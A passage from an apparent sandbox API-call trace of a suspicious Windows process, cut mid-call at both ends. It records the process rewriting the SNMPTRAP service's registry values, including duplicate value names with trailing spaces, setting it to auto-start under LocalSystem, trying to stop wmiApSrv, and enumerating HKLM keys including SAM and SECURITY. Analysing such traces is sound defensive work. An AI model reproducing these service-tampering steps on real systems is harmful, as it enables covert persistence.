lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.649] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.649] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.649] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.649] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.649] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.649] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.650] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0253.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0253.650] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0253.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0253.650] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.650] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.650] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.650] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.650] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.650] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.650] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.650] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.650] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.651] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.651] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.651] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.651] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.651] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.651] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.651] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.651] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0253.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0253.651] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0253.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0253.651] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.652] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.652] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.652] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.652] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.652] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.652] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.652] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.652] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.652] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.652] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.652] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.652] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.653] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.653] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.653] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.653] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0253.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0253.653] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0253.653] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.653] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.653] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.653] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.653] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.653] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.654] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.654] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.654] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.654] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.654] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.654] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.654] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.654] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.654] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.654] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.655] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\snmptrap.exe", cbData=0x21 | out: lpData="C:\\Windows\\System32\\snmptrap.exe") returned 0x0 [0253.655] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\System32\\snmptrap.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f2c48*="C:\\Windows\\System32\\snmptrap.exe" [0253.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0253.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0253.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0253.655] LocalFree (hMem=0x7f2c48) returned 0x0 [0253.655] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\snmptrap.exe", cbData=0x21 | out: lpData="C:\\Windows\\System32\\snmptrap.exe") returned 0x0 [0253.655] OpenServiceW (hSCManager=0x803918, lpServiceName="SNMPTRAP", dwDesiredAccess=0x2) returned 0x803990 [0253.655] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0253.656] CloseServiceHandle (hSCObject=0x803990) returned 1 [0253.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0253.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0253.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0253.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0253.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0253.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.657] RegCloseKey (hKey=0xc4) returned 0x0 [0253.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0253.657] RegCloseKey (hKey=0x14c) returned 0x0 [0253.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0253.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0253.657] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\snmptrap.exe" (normalized: "c:\\windows\\system32\\snmptrap.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x817cf0a9, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x817cf0a9, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0253.657] CreateFileW (lpFileName="C:\\Windows\\System32\\snmptrap.exe" (normalized: "c:\\windows\\system32\\snmptrap.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0253.658] GetLastError () returned 0x20 [0253.658] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0253.658] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0253.658] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0253.658] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x20) returned 0x8038a0 [0253.659] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0253.659] GetLastError () returned 0x425 [0253.659] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0253.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0253.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0253.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0253.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0253.659] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0253.660] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0253.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0253.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.660] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0253.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0253.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.660] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0253.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0253.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.660] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0253.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.661] WideCharToMultiByte (in: 